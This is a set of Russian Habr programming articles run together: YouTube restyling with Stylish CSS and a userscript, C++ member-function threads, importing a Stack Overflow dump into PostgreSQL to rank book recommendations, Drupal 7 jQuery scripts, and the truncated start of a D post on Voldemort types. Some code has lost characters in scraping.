[Intel Power Efficiency Community](http://software.intel.com/en-us/articles/energy-efficient-software/) статьи, практические рекомендацие и советы по созданию энерго-эффективного программного обеспечения.
[Battery Life and Energy Efficiency](http://msdn.microsoft.com/en-us/windows/hardware/gg487541) сборник статей и рецептов от Microsoft
[Timers, Timer Resolution, and Development of Efficient Code](http://msdn.microsoft.com/en-us/windows/hardware/gg463266.aspx) ссылка уже приведена выше, для тех, кто начинает читать статью с конца.
Если есть вопросы — задавайте в комментариях. Также свои вопросы по разработке «зеленого» софта можете задать мне на [вебинаре](https://secure1.regsvc.com/registration/index.aspx?TYPE=E&ID=6266&LC=&PIN=&REF=&dbGUID=EB09E990-2083-4E0D-A1F7-285B7C05A802&), который состоится завтра, 15 декабря в 11 утра. | https://habr.com/ru/post/134559/ | null | ru | null |
# Ещё один способ оптимизации интерфейса Youtube
Прочитав свежую [статью о Youtube Center](http://habrahabr.ru/post/200990/), я решил поделиться с хабрасообществом своим способом укрощения разжиревшего интерфейса Youtube.
Youtube Center безусловно хорошее расширение, но Youtube с ним начинает тормозить еще ощутимее. Я же вам предложу **Stylish** — это расширение для добавления собственных стилей к любому сайту, о нем [уже](http://habrahabr.ru/post/132692/) [писали](http://habrahabr.ru/post/17558/) на хабрахабре.
Firefox: [addons.mozilla.org/en-US/firefox/addon/stylish](https://addons.mozilla.org/en-US/firefox/addon/stylish/)
Chrome: [chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe](https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe)
Safari: [sobolev.us/stylish](http://sobolev.us/stylish/) (спасибо [simpel](https://habrahabr.ru/users/simpel/))
#### 1. Youtube для просмотра видео
Я приведу стили, которые подходят мне одновременно для мониторов 1280х800 и 1920х1080. После их применения Youtube выглядит примерно так:
Как видите все детали интерфейса помещаются на одну страницу. Комментарии я убрал потому как никогда не видел в них смысла, вы можете их оставить. Собственно сами стили:
```
/* размеры */
.player-width { width: 1210px !important; }
.player-height { height: 640px !important; }
/* чтобы не поломать fullscreen */
[data-player-size="fullscreen"] .player-width { width: 100% !important; }
[data-player-size="fullscreen"] .player-height { height: 100% !important; }
/* убираем левую часть */
#guide { display: none; }
#player, #watch7-main-container { padding-left: 30px !important; }
/* чтобы не поломать embed iframe */
#player.full-frame { padding-left: 0px !important; }
/* убираем комментарии и блок About/Share */
#watch-discussion { display: none; }
#watch7-action-buttons, #watch7-action-panels { display: none; }
/* перемещаем related videos */
.watch-wide #watch7-sidebar { margin-top: -642px !important; margin-left: 1240px !important; height: 620px !important; }
.video-list-item { margin-bottom: 13px !important; }
/* убираем footer */
#body-container { padding-bottom: 0 !important; }
#footer-container { display: none; }
```
На этом я не остановился, дальше самое вкусное :)
#### 2. Youtube в качестве аудиопроигрывателя
Возможно вы заглянули в этот пост, увидев изображение в шапке поста и спросив себя «куда делось видео?», вторая часть топика именно об этом.
Я в большей степени использую Youtube для прослушивания музыки. Некоторое время назад я даже написал [скрипт для скачивания целого плейлиста в формате mp3](http://habrahabr.ru/post/183172/). Но этот вариант не подходит когда дело касается одного видео (не плейлиста).
Если вырезать видео и оставить только аудио-дорожку, то вы в два-три раза снизите ресурсопотребение процессора: 
Дальнейшие действия направлены на автоматизацию быстрого переключения режимов «с видео» и «без видео».
##### 2.1. Включение html5
[www.youtube.com/html5](http://www.youtube.com/html5)
##### 2.2. Добавление стилей в Stylish
```
/* размеры */
.audio-only .player-width { width: 720px !important; }
.audio-only .player-height { height: 40px !important; }
/* убираем видео */
.audio-only .html5-video-container { display: none; }
/* увеличиваем высоту ползунка */
.audio-only .html5-progress-list { height: 35px !important; }
/* убираем sidebar */
.audio-only .watch-wide #watch7-sidebar { display: none; }
```
Как вы могли заметить я использую префикс-класс `.audio-only` и последним шагом будет автоматизация его добавления.
##### 2.3. UserScript для добавления класса .audio-only
О UserScripts уже [достаточно](http://habrahabr.ru/post/129343/) [написано](http://habrahabr.ru/post/129454/), думаю что вы знаете что это. Нам нужен простейший скрипт, который будет ловить нажатие `Alt+M` и добавлять/убирать класс .audio-only:
```
// ==UserScript==
// @name Youtube audio-only switch
// @description Toggle audio-only mode for saving cpu resources
// @match http://www.youtube.com/*
// ==/UserScript==
document.body.onkeydown = function(event){
event = event || window.event;
var keycode = event.charCode || event.keyCode;
// Alt + M
if(event.altKey && keycode == 77) {
if(document.body.className.match(' audio-only'))
document.body.className = document.body.className.replace(' audio-only', '');
else
document.body.className += ' audio-only';
}
}
```
Не лишним будет напомнить как установить пользователький скрипт(он должен иметь имя \*.user.js):
* Firefox: [greasemonkey](https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/)
* Chrome: открыть chrome://extensions/ и перетащить туда скрипт
* Safari: [greasekit](http://8-p.info/greasekit/)
Надеюсь вам не было скучно в этом топике :)
#### UPD. Feather Beta
[arty](https://habrahabr.ru/users/arty/) в комментариях упомянул [Feather Beta](http://youtube.com/feather_beta). Признаться я не знал про эту функцию, она предназначена именно для того, чем я занимался в этом топике — урезания необязательных элементов интерфейса.
Я переписал пользовательские стили для включенного Feather Beta:
```
/* размеры */
#movie_player { width: 1260px !important; height: 580px !important; }
#p { height: 580px !important; }
/* убираем левую часть */
#mh, #ct { margin: 0 }
#ft { display: none; }
/* перемещаем sidebar */
#rc { margin-left: 1280px; margin-top: -690px; }
/* === audio-only === */
/* размеры */
.audio-only #movie_player { width: 720px !important; height: 40px !important; }
.audio-only #p { height: 50px !important; }
/* чтобы не поломать fullscreen */
[data-player-size="fullscreen"] #movie_player { width: 100% !important; height: 100% !important; }
/* убираем видео */
.audio-only .html5-video-container { display: none; }
/* увеличиваем высоту ползунка */
.audio-only .html5-progress-list { height: 35px !important; }
/* убираем sidebar */
.audio-only #rc { display: none; }
``` | https://habr.com/ru/post/201532/ | null | ru | null |
# Многопоточные классы
Доброго времени суток. Хочу поведать уважаемому хабрачитателю одну интересную вещь с которой пришлось столкнуться в недавнем времени. В одной из задач, стоявших передо мной, требовалось реализовать класс. В рамках этого класса должны выполняться некоторые вычисления. Для простоты, а также в целях сохранения работоспособности основного кода, решено было использовать потоки. Но все оказалось не так тривиально.
Первоначальный вариант был таков:
> `// структура параметров передаваемых в поток
>
> struct ArgsThread
>
> {
>
> int \*tmp1;
>
> char \*tmp2;
>
> int indata1;
>
> char indata2;
>
> };
>
>
>
> // непосредственно поток выполняющий вычисления
>
> unsigned long CalculationThread(void \*arg)
>
> {
>
> ThreadArgs\* args = reinterpret\_cast(arg); // выкапываем входные данные
>
>
>
> // что-то сумбурно и долго считаем
>
> }
>
>
>
> // класс который требуется реализовать
>
> class MyCalc
>
> {
>
> private:
>
> void \*HandleThread;
>
> unsigned long IdThread;
>
>
>
> int tmp1;
>
> char tmp2;
>
>
>
> public:
>
> MyCalc(int indata1, char indata2)
>
> {
>
> ArgsThread\* args=new ArgsThread();
>
>
>
> args->tmp1 = &tmp1 // упаковываем данные
>
> args->tmp2 = &tmp2
>
> args->indata1 = indata1;
>
> args->indata2 = indata2;
>
>
>
> HandleThread = CreateThread(NULL, 0, &CalculationThread, args, 0, &IdThread); // создаем поток
>
> };
>
>
>
> ~MyCalc
>
> {
>
> TerminateThread(HandleThreade, NULL); // завершаем выполнение потока
>
> CloseHandle(HandleThread); // закрываем хендл
>
> };
>
> };`
Поток находился вне класса, что, в принципе, удовлетворяло задаче. После раздумий пришла идея реализации потока внутри класса, а точнее, один из методов должен стать функцией, которую выполнял бы поток.
Недолго думая (что очень зря), родился такой код:
> `class MyCalc
>
> {
>
> private:
>
> void \*HandleThread;
>
> unsigned long IdThread;
>
>
>
> int tmp1;
>
> char tmp2;
>
> protected:
>
> unsigned long CalculationThread(void \*arg)
>
> {
>
> // что-то сумбурно и долго считаем
>
> }
>
>
>
> public:
>
> MyCalc(int indata1, char indata2)
>
> {
>
> HandleThread = CreateThread(NULL, 0, &CalculationThread, this, 0, &IdThread); // создаем поток
>
> };
>
>
>
> ~MyCalc
>
> {
>
> TerminateThread(HandleThreade, NULL); // завершаем выполнение потока
>
> CloseHandle(HandleThread); // закрываем хендл
>
> };
>
> };`
Естественно, во время компиляции я получил ошибку о том, что передаваемые в функцию **CreateThread** параметры не корректны, а в частности прототип функции потока не соответствовал запрашиваемому типу. На одном из форумов было найдено решение, суть которого заключалась в том, что метод делаем static. Что тоже в принципе удовлетворяло меня, но как оказалось поток не имел доступа ко внтренним данным класса. И в конечном итоге решено было сделать этот метод полноправным членом класса. После полу часа возни с компилятором родилось такое решение:
> `// объявляем необходимые типы
>
> typedef unsigned long (\_\_stdcall \*ThrdFunc)(void \*arg); // прототип функции потока
>
> typedef unsigned long (\_\_closure \*ClassMethod)(void \*arg); // прототип метода класса
>
>
>
> // данное объединение позволяет решить несостыковку с типами
>
> typedef union
>
> {
>
> ThrdFunc Function;
>
> ClassMethod Method;
>
> }tThrdAddr;
>
>
>
> // для гибкости использования храним все в одном месте
>
> typedef struct
>
> {
>
> void\* Handle; // хэндл потока
>
> tThrdAddr Addr; // адрес
>
> unsigned long Id; // ID потока
>
> unsigned long ExitCode; // код выхода
>
> }tThrd;
>
>
>
> class MyCalc
>
> {
>
> private:
>
> tThrd MyThread;
>
>
>
> protected:
>
> unsigned long ThrdHandle(void \*arg)
>
> {
>
> // что-то сумбурно и долго считаем
>
> };
>
>
>
> public:
>
> MyCalc()
>
> {
>
> MyThread.Addr.Method = &ThrdHandle // тут главная магия
>
> MyThread.Handle = CreateThread(NULL, 0, MyThread.Addr.Function, this, 0, &MyThread.Id);
>
> GetExitCodeThread(MyThread.Handle, &MyThread.ExitCode);
>
> };
>
>
>
> ~MyCalc()
>
> {
>
> if(MyThread.Handle)
>
> {
>
> TerminateThread(MyThread.Handle, MyThread.ExitCode);
>
> CloseHandle(MyThread.Handle);
>
> }
>
> };
>
> };`
Таким образом наш поток становится и членом класса одновременно, со всем вытекающими ООП возможностями. Отпадает необходимость в «огороде» из упаковки и распаковки аргументов содержащих данные, поскольку теперь есть доступ ко всем методам и полям класса. Таких методов-потоков можно реализовать бесконечно много, и пользователь класса не сможет получить к ним хоть какой-нибуть доступ (правила **private** и **protected**) или случайно вызвать выполнение кода содержащегося в методе-потоке.
P.S. При желании прототип метода может в корне отличатся от того, что объявлен в примере, ведь используется только его адрес, но не стоит забывать и о передаваемых параметрах.
**UPD:** данный код генерировался и оттачивался в среде C++ Builder, поэтому в прототипе метода присутствует \_\_closure. изменяя прототип вы можете без больших потерь и изменений использовать данный код в других компиляторах. | https://habr.com/ru/post/111173/ | null | ru | null |
# Анализ рекомендаций книг для разработчиков со Stack Overflow средствами Python
Определиться, какую книгу по программированию читать следующей, трудно, да и рискованно.
Как и положено разработчику, наверняка, у вас мало времени, и львиную его долю вы тратите на чтение книг. Вы могли бы программировать. Вы могли бы отдыхать. Но вместо этого вы выделяете драгоценное время на развитие своих навыков.
Итак, какую книгу вам стоит прочитать? Мы с коллегами часто обсуждаем прочитанную литературу, и я заметил, что наши мнения по конкретным книгам сильно отличаются.
Поэтому я решил углубиться в проблему. Моя идея была такова: проанализировать самый популярный в мире ресурс для программистов на предмет ссылок на известный книжный магазин, а затем подсчитать, сколько раз упоминается каждая из книг.
К счастью, Stack Exchange (материнская компания Stack Overflow) только что опубликовала свой дамп данных. Я сел и начал кодить.
*Скриншот созданного мной инструмента: dev-books.com*
> «Если вам любопытно, чаще всего рекомендуют книгу «[Эффективная работа с унаследованным кодом](https://amazon.co.uk/dp/0131177052/?tag=devbookscom-21)» (Michael Feathers), а следом идет труд «[Приёмы объектно-ориентированного проектирования. Паттерны проектирования](https://amazon.co.uk/dp/0201633612/?tag=devbookscom-21)» (Erich Gamma). Хотя названия у этих книг сухие, как пустыня Атакама, содержание у них, надо думать, довольно качественное. Вы можете сортировать книги по тегам, например, JavaScript, C, Graphics и так далее. Само собой, на этих двух наименованиях список рекомендаций не заканчивается, но это, безусловно, отличные варианты для старта, если вы только начинаете кодить или хотите прокачать свои навыки» — обзор на [Lifehacker.com](http://lifehacker.com/dev-books-is-a-massive-collection-of-the-most-recommend-1792134129).
Вскоре после этого я запустил [dev-books.com](http://www.dev-books.com/), который позволяет вам изучать все собранные и отсортированные мной данные. В итоге я получил более 100 000 посетителей и множество отзывов, в которых люди просили описать весь технический процесс.
Итак, сегодня я расскажу вам, как я все это сделал.
**Получение и импорт данных**
Я взял дамп базы данных Stack Exchange из archive.org.
С самого начала я понял, что невозможно импортировать XML-файл размером 48 ГБ в только что созданную базу данных (PostgreSQL) с использованием популярных методов, таких как myxml: = pg\_read\_file ('path / to / my\_file.xml'), потому что у меня не было 48 ГБ оперативной памяти на сервере. Поэтому я решил использовать парсер [SAX](https://ru.wikipedia.org/wiki/SAX).
Все значения хранились между тегами , поэтому я использовал скрипт Python для парсинга:
```
def startElement(self, name, attributes):
if name == ‘row’:
self.cur.execute(“INSERT INTO posts (Id, Post_Type_Id, Parent_Id, Accepted_Answer_Id, Creation_Date, Score, View_Count, Body, Owner_User_Id, Last_Editor_User_Id, Last_Editor_Display_Name, Last_Edit_Date, Last_Activity_Date, Community_Owned_Date, Closed_Date, Title, Tags, Answer_Count, Comment_Count, Favorite_Count) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)”,
(
(attributes[‘Id’] if ‘Id’ in attributes else None),
(attributes[‘PostTypeId’] if ‘PostTypeId’ in attributes else None),
(attributes[‘ParentID’] if ‘ParentID’ in attributes else None),
(attributes[‘AcceptedAnswerId’] if ‘AcceptedAnswerId’ in attributes else None),
(attributes[‘CreationDate’] if ‘CreationDate’ in attributes else None),
(attributes[‘Score’] if ‘Score’ in attributes else None),
(attributes[‘ViewCount’] if ‘ViewCount’ in attributes else None),
(attributes[‘Body’] if ‘Body’ in attributes else None),
(attributes[‘OwnerUserId’] if ‘OwnerUserId’ in attributes else None),
(attributes[‘LastEditorUserId’] if ‘LastEditorUserId’ in attributes else None),
(attributes[‘LastEditorDisplayName’] if ‘LastEditorDisplayName’ in attributes else None),
(attributes[‘LastEditDate’] if ‘LastEditDate’ in attributes else None),
(attributes[‘LastActivityDate’] if ‘LastActivityDate’ in attributes else None),
(attributes[‘CommunityOwnedDate’] if ‘CommunityOwnedDate’ in attributes else None),
(attributes[‘ClosedDate’] if ‘ClosedDate’ in attributes else None),
(attributes[‘Title’] if ‘Title’ in attributes else None),
(attributes[‘Tags’] if ‘Tags’ in attributes else None),
(attributes[‘AnswerCount’] if ‘AnswerCount’ in attributes else None),
(attributes[‘CommentCount’] if ‘CommentCount’ in attributes else None),
(attributes[‘FavoriteCount’] if ‘FavoriteCount’ in attributes else None)
)
);
```
После трех дней импорта (за это время была импортирована почти половина XML) я понял, что допустил ошибку: значение ParentID должен было иметь вид ParentId.
В тот момент я не хотел ждать еще неделю и перешел с AMD E-350 (2 x 1.35GHz) на Intel G2020 (2 x 2.90GHz). Но и это не ускорило процесс.
Следующее решение — batch insert:
```
class docHandler(xml.sax.ContentHandler):
def __init__(self, cusor):
self.cusor = cusor;
self.queue = 0;
self.output = StringIO();
def startElement(self, name, attributes):
if name == ‘row’:
self.output.write(
attributes[‘Id’] + '\t` +
(attributes[‘PostTypeId’] if ‘PostTypeId’ in attributes else '\\N') + '\t' +
(attributes[‘ParentId’] if ‘ParentId’ in attributes else '\\N') + '\t' +
(attributes[‘AcceptedAnswerId’] if ‘AcceptedAnswerId’ in attributes else '\\N') + '\t' +
(attributes[‘CreationDate’] if ‘CreationDate’ in attributes else '\\N') + '\t' +
(attributes[‘Score’] if ‘Score’ in attributes else '\\N') + '\t' +
(attributes[‘ViewCount’] if ‘ViewCount’ in attributes else '\\N') + '\t' +
(attributes[‘Body’].replace('\\', '\\\\').replace('\n', '\\\n').replace('\r', '\\\r').replace('\t', '\\\t') if ‘Body’ in attributes else '\\N') + '\t' +
(attributes[‘OwnerUserId’] if ‘OwnerUserId’ in attributes else '\\N') + '\t' +
(attributes[‘LastEditorUserId’] if ‘LastEditorUserId’ in attributes else '\\N') + '\t' +
(attributes[‘LastEditorDisplayName’].replace('\n', '\\n') if ‘LastEditorDisplayName’ in attributes else '\\N') + '\t' +
(attributes[‘LastEditDate’] if ‘LastEditDate’ in attributes else '\\N') + '\t' +
(attributes[‘LastActivityDate’] if ‘LastActivityDate’ in attributes else '\\N') + '\t' +
(attributes[‘CommunityOwnedDate’] if ‘CommunityOwnedDate’ in attributes else '\\N') + '\t' +
(attributes[‘ClosedDate’] if ‘ClosedDate’ in attributes else '\\N') + '\t' +
(attributes[‘Title’].replace('\\', '\\\\').replace('\n', '\\\n').replace('\r', '\\\r').replace('\t', '\\\t') if ‘Title’ in attributes else '\\N') + '\t' +
(attributes[‘Tags’].replace('\n', '\\n') if ‘Tags’ in attributes else '\\N') + '\t' +
(attributes[‘AnswerCount’] if ‘AnswerCount’ in attributes else '\\N') + '\t' +
(attributes[‘CommentCount’] if ‘CommentCount’ in attributes else '\\N') + '\t' +
(attributes[‘FavoriteCount’] if ‘FavoriteCount’ in attributes else '\\N') + '\n'
);
self.queue += 1;
if (self.queue >= 100000):
self.queue = 0;
self.flush();
def flush(self):
self.output.seek(0);
self.cusor.copy_from(self.output, ‘posts’)
self.output.close();
self.output = StringIO();
```
StringIO позволяет вам использовать переменную типа файла для обработки функции copy\_from, которая использует COPY. Таким образом, весь процесс импорта занял всего лишь ночь.
Отлично, теперь настало время создавать индексы. Теоретически индексы GiST медленнее, чем GIN, но занимают меньше места. Поэтому я решил использовать GiST. Еще день спустя у меня был индекс, который занимал 70 ГБ.
Когда я попробовал ввести пару тестовых запросов, то понял, что для их обработки требуется слишком много времени. Почему? Из-за ожидания Disk I/O. SSD GOODRAM C40 120Gb очень помог, пусть это и не самый быстрый SSD на сегодняшний день.
Я создал новый кластер PostgreSQL:
```
initdb -D /media/ssd/postgresq/data
```
Затем изменил путь в моем сервис конфиге (использовал дистрибутив Manjaro):
```
vim /usr/lib/systemd/system/postgresql.service
Environment=PGROOT=/media/ssd/postgres
PIDFile=/media/ssd/postgres/data/postmaster.pid
```
Я перезагрузил конфигурацию и запустил postgreSQL:
```
systemctl daemon-reload
postgresql systemctl start postgresql
```
На этот раз потребовалась пара часов для импорта, но я использовал GIN. Индексирование занимало 20 ГБ памяти на SSD, а простые запросы обрабатывались меньше минуты.
**Извлечение книг из базы данных**
Когда мои данные были наконец импортированы, я начал искать посты, в которых упоминались книги, а затем скопировал их в отдельную таблицу с помощью SQL:
```
CREATE TABLE books_posts AS SELECT * FROM posts WHERE body LIKE ‘%book%’”;
```
Следующим шагом было найти все гиперссылки внутри этих постов:
```
CREATE TABLE http_books AS SELECT * posts WHERE body LIKE ‘%http%’”;
```
В этот момент я осознал, что StackOverflow проксирует такие ссылки следующим образом:
```
rads.stackowerflow.com/[$isbn]/
```
Я создал еще одну таблицу для всех постов со ссылками:
```
CREATE TABLE rads_posts AS SELECT * FROM posts WHERE body LIKE ‘%http://rads.stackowerflow.com%'";
```
При этом я использовал регулярные выражения, чтобы извлечь все номера [ISBN](https://ru.wikipedia.org/wiki/Международный_стандартный_книжный_номер). Теги Stack Overflow я извлек в отдельную таблицу с помощью regexp\_split\_to\_table.
После извлечения и подсчета данных по самым популярным тегам выяснилось, что топ-20 книг с максимальным количеством упоминаний примерно одинаков по всем тегам.
Мой следующий шаг: доработка тегов.
Идея заключалась в том, чтобы взять топ-20 наиболее часто упоминаемых книг по каждому тегу и исключать те книги, которые уже были обработаны.
Поскольку это была «разовая» работа, я решил воспользоваться массивами PostgreSQL. Я написал скрипт для создания запроса, вот такой:
```
SELECT *
, ARRAY(SELECT UNNEST(isbns) EXCEPT SELECT UNNEST(to_exclude ))
, ARRAY_UPPER(ARRAY(SELECT UNNEST(isbns) EXCEPT SELECT UNNEST(to_exclude )), 1)
FROM (
SELECT *
, ARRAY[‘isbn1’, ‘isbn2’, ‘isbn3’] AS to_exclude
FROM (
SELECT
tag
, ARRAY_AGG(DISTINCT isbn) AS isbns
, COUNT(DISTINCT isbn)
FROM (
SELECT *
FROM (
SELECT
it.*
, t.popularity
FROM isbn_tags AS it
LEFT OUTER JOIN isbns AS i on i.isbn = it.isbn
LEFT OUTER JOIN tags AS t on t.tag = it.tag
WHERE it.tag in (
SELECT tag
FROM tags
ORDER BY popularity DESC
LIMIT 1 OFFSET 0
)
ORDER BY post_count DESC LIMIT 20
) AS t1
UNION ALL
SELECT *
FROM (
SELECT
it.*
, t.popularity
FROM isbn_tags AS it
LEFT OUTER JOIN isbns AS i on i.isbn = it.isbn
LEFT OUTER JOIN tags AS t on t.tag = it.tag
WHERE it.tag in (
SELECT tag
FROM tags
ORDER BY popularity DESC
LIMIT 1 OFFSET 1
)
ORDER BY post_count
DESC LIMIT 20
) AS t2
UNION ALL
SELECT *
FROM (
SELECT
it.*
, t.popularity
FROM isbn_tags AS it
LEFT OUTER JOIN isbns AS i on i.isbn = it.isbn
LEFT OUTER JOIN tags AS t on t.tag = it.tag
WHERE it.tag in (
SELECT tag
FROM tags
ORDER BY popularity DESC
LIMIT 1 OFFSET 2
)
ORDER BY post_count DESC
LIMIT 20
) AS t3
...
UNION ALL
SELECT *
FROM (
SELECT
it.*
, t.popularity
FROM isbn_tags AS it
LEFT OUTER JOIN isbns AS i on i.isbn = it.isbn
LEFT OUTER JOIN tags AS t on t.tag = it.tag
WHERE it.tag in (
SELECT tag
FROM tags
ORDER BY popularity DESC
LIMIT 1 OFFSET 78
)
ORDER BY post_count DESC
LIMIT 20
) AS t79
) AS tt
GROUP BY tag
ORDER BY max(popularity) DESC
) AS ttt
) AS tttt
ORDER BY ARRAY_upper(ARRAY(SELECT UNNEST(arr) EXCEPT SELECT UNNEST(la)), 1) DESC;
```
С данными на руках я направился в Интернет.
**Создание веб-приложения**
*Nginx vs. Apache*
Поскольку я не веб-разработчик и определенно не эксперт в вопросах создания веб-интерфейсов, я решил сделать очень простое одностраничное приложение на базе стандартной темы от Bootstrap.
Я создал опцию «искать по тегу», а затем извлек самые популярные теги, чтобы сделать каждый поиск кликабельным.
Я визуализировал результаты поиска с помощью гистограммы. Пробовал также Hightcharts и D3, но они больше подходят для дашбордов. У них обнаружились некоторые проблемы с реагированием, и их оказалось довольно сложно настроить. Имея это в виду, я создал свою собственную чутко реагирующую диаграмму на основе SVG. Чтобы обеспечить эту чуткость реагирования, она должна была меняться при смене ориентации экрана:
```
var w = $('#plot').width();
var bars = "";var imgs = "";
var texts = "";
var rx = 10;
var tx = 25;
var max = Math.floor(w / 60);
var maxPop = 0;
for(var i =0; i < max; i ++){
if(i > books.length - 1 ){
break;
}
obj = books[i];
if(maxPop < Number(obj.pop)) {
maxPop = Number(obj.pop);
}
}
for(var i =0; i < max; i ++){
if(i > books.length - 1){
break;
}
obj = books[i];
h = Math.floor((180 / maxPop ) * obj.pop);
dt = 0;
if(('' + obj.pop + '').length == 1){
dt = 5;
}
if(('' + obj.pop + '').length == 3){
dt = -3;
}
var scrollTo = 'onclick="scrollTo(\''+ obj.id +'\'); return false;" "';
bars += '';
bars += '' + obj.name+ '';
bars += '';
imgs += '';
imgs += '' + obj.name+ '';
imgs += '';
texts += '' + obj.pop + '';
rx += 60;
tx += 60;
}
$('#plot').html(
' '
+ ' '
+ ' <![CDATA['
+ ' .cla {'
+ ' fill: #337ab7;'
+ ' }'
+ ' .cla:hover {'
+ ' fill: #5bc0de;'
+ ' }'
+ ' ]]>'
+ ' '
+ ' '
+ bars
+ ' '
+ ' '
+ imgs
+ ' '
+ ' '
+ texts
+ ' '
+ '');
```
**Сбой веб-сервера**
Едва я успел запустить dev-books.com, как уже обнаружил на своем сайте огромную толпу людей. Apache не мог обслуживать более 500 посетителей одновременно, поэтому я быстро настроил Nginx и по ходу дела переключился на него. Я был очень удивлен, когда количество посетителей в режиме реального времени тут же возросло до 800 человек.
**Заключение**
Надеюсь, что объяснил все достаточно ясно. Если у вас есть вопросы, не стесняйтесь задавать их. Вы можете найти меня в [твиттере](https://twitter.com/VLPLabs) и на [Facebook](https://www.facebook.com/VLP-Labs-727090070789985/).
Как и обещал, в конце марта я опубликую свой полный отчет от Amazon.com и Google Analytics. Пока результаты получаются очень неожиданные. | https://habr.com/ru/post/323522/ | null | ru | null |
# Создание модуля под Drupal 7. Часть 2
#### Предисловие
В [первой части](http://habrahabr.ru/post/200340/) я показал как создавать модуль под Drupal 7. И как я и обещал, теперь покажу как добавлять к модулям js-файлы (использовать в них jQuery) и как осуществляется его локализация.
#### Добавление js-файлов
Для начала создадим в папке с модулем любой js-файл. Я назвал его *main.js*.
Далее добавляем в файл *rss\_feeds.info* строку:
*scripts[] = main.js*
В своем модуле я использовал jQuery. В *main.js* я реализую функции для кнопки «Вверх». Для того, чтобы не было конфликтов, необходимо написать следующее:
```
(function ($) {
})(jQuery);
```
И в этой конструкции пишем код:
```
$.fn.extend({
topMouseover: function(self) {
this.on('mouseover',function() {
self.opacity.stop().animate({opacity:"1"},300);
self.button.stop().animate({opacity:"1"},300);
});
},
topMouseout: function(self) {
this.on('mouseout',function() {
self.opacity.stop().animate({opacity:"0"},300);
self.button.stop().animate({opacity:"0.4"},300);
});
},
wScroll: function(g) {
if(g == 0) this.removeClass("no-count");
if(!this.hasClass("no-count")){
if(g > 500 && this.is(":hidden")){
this.addClass("visible");
this.css("cursor","pointer");
this.fadeIn(500);
this.click(function(){
$("body, html").animate({scrollTop:0},600);
this.fadeOut(300);
this.addClass("no-count");
});
}
if(g < 200 && this.hasClass("visible")){
this.removeClass("visible");
this.fadeOut(300);
}
}else{
this.unbind("click");
}
}
});
function toTopBtn(toTop, opacity, btn) {
this.toTopBtn = $(toTop);
this.opacity = $(opacity);
this.button = $(btn);
this.windowScroll();
this._init();
return this;
}
toTopBtn.prototype = {
_init: function () {
var self = this;
this.toTopBtn.topMouseover(self);
this.toTopBtn.topMouseout(self);
},
windowScroll: function() {
var g = $(window).scrollTop();
this.toTopBtn.wScroll(g);
}
}
$(document).ready(function() {
upButton = new toTopBtn(".toTopWrapper",".toTopOpacity",".toTopBtn");
$(window).scroll(function(){
upButton.windowScroll();
});
});
```
Но по умолчанию в Drupal 7 идет *jQuery 1.4.4*. Функция *.on()* в ней не реализована. Для обновления jQuery скачайте модуль *[Query Update](https://drupal.org/project/jquery_update)*. В нем все интуитивно понятно. В настройках выбираем нужную версию (я выбрал 1.8).
Для того, чтобы кнопка отображалась, изменяем файл *rssfeeds\_content.tpl.php*:
```
↑ up
php foreach ($items-channel->item as $item): ?>
[php echo $item-title; ?>](<?php echo $item->link; ?>)
php echo $item-description; ?>
php echo $item-pubDate; ?>
---
php endforeach; ?
``` | https://habr.com/ru/post/200382/ | null | ru | null |
# Voldemort типы в D
Данный пост расскажет об уникальной фишке D — Voldemort типы. Типы, которые можно использовать, но нельзя назвать. Данное название не очень подходит им, но Walter Bright очень любит так их называть. Voldemort типы очень часто встречаются в стандартной библиотеке Phobos, особенно в модулях [std.algorithm](http://dlang.org/phobos/std_algorithm.html) и [std.array](http://dlang.org/phobos/std_array.html). Осваивающие D могут часами штудировать документацию в поисках типа, возвращаемого из splitter или joiner, а возвращают они именно Voldemort типы. После этого поста можно смело открывать исходники std.algorithm, ибо никакие Сами-Знаете-Кто вам будут не страшны.
Иногда, взаимодействие существующих возможностей может привести к неожиданным сюрпризам. Мне нравится считать, что мы изначально заложили Voldemort типы в D, но на самом деле они были найдены Андреем Александреску. Что это за Voldermort типы? Читайте дальше.
Во-первых, немного вводной информации. Для понимания материала необходимо иметь представление о [Ranges](http://ddili.org/ders/d.en/ranges.html). В первом приближении, они были придуманы как замена итераторам и очень схожи с подходом C# с его интерфейсом IEnumerable. В языке D любой тип, реализующий следующие методы, будет представлять из себя InputRange:
```
front - get the first element of the range
popFront - remove the first element of the range
empty - are there more elements in the range?
```
Эти методы реализуют основу для итерации по типу. Теперь just fo fun, давайте спроектируем InputRange, который вернет бесконечную последовательность случайных чисел. (Мы также называем такие функции генераторами.)
Он может выглядеть так (не очень хороший генератор случайных чисел, но скоро им станет):
```
module rnd;
struct RandomNumberGenerator {
this(uint seed) {
next = seed;
popFront(); // get it going
}
@property int front() {
return ((next / 0x10000) * next) >> 16;
}
void popFront() {
next = next * 1103515245 + 12345;
}
@property bool empty() { return false; }
private:
uint next;
}
```
И функция, которая вернет его:
```
RandomNumberGenerator generator(uint seed) {
return RandomNumberGenerator(seed);
}
```
И прекрасная программа, которая напечатает 10 таких чисел:
```
import std.stdio;
import rnd;
void main() {
int count;
foreach (n; generator(5)) {
writeln(n);
if (++count == 10)
break;
}
}
```
На этом обычно все и останавливаются. Но здесь есть несколько раздражающих моментов. В идеале я должен знать только о функции rnd.generator, но в модуле находится тип RandomNumberGenerator, который может существовать сам по себе. Это выглядит как нарушение инкапсуляции, так как он просачивается наружу из моей абстракции генератора.
Я бы мог отметить его атрибутом private и другие модули, кроме rnd, не смогли бы получить к нему доступ. Но этот тип все еще здесь, вне зоны, которой он принадлежит, и другие члены модуля все еще могут обращаться к нему, запривачен он или нет (в D private объявления не спрятаны от других объявлений внутри одного модуля).
Перейдем теперь к более веселым вещам. Сперва, D поддерживает вывод типов для объявлений, поэтому я могу написать так:
```
auto g = RandomNumberGenerator(seed);
```
И g будет автоматически присвоен тип RandomNumberGenerator. Это стандартная вещь. Подергав эту ниточку еще немного, и мы можем выводить возвращаемые из функций типы:
```
auto square(double d) {
return d * d;
}
auto x = square(2.3);
```
И компилятор поймет, что функция square вернет double, так как это тип выражения после return. И конечно, переменная x также будет типа double. Теперь давайте перепишем нашу функцию для генератора таким образом:
```
module rnd;
auto generator(uint seed) {
struct RandomNumberGenerator {
@property int front() {
return ((seed / 0x10000) * seed) >> 16;
}
void popFront() {
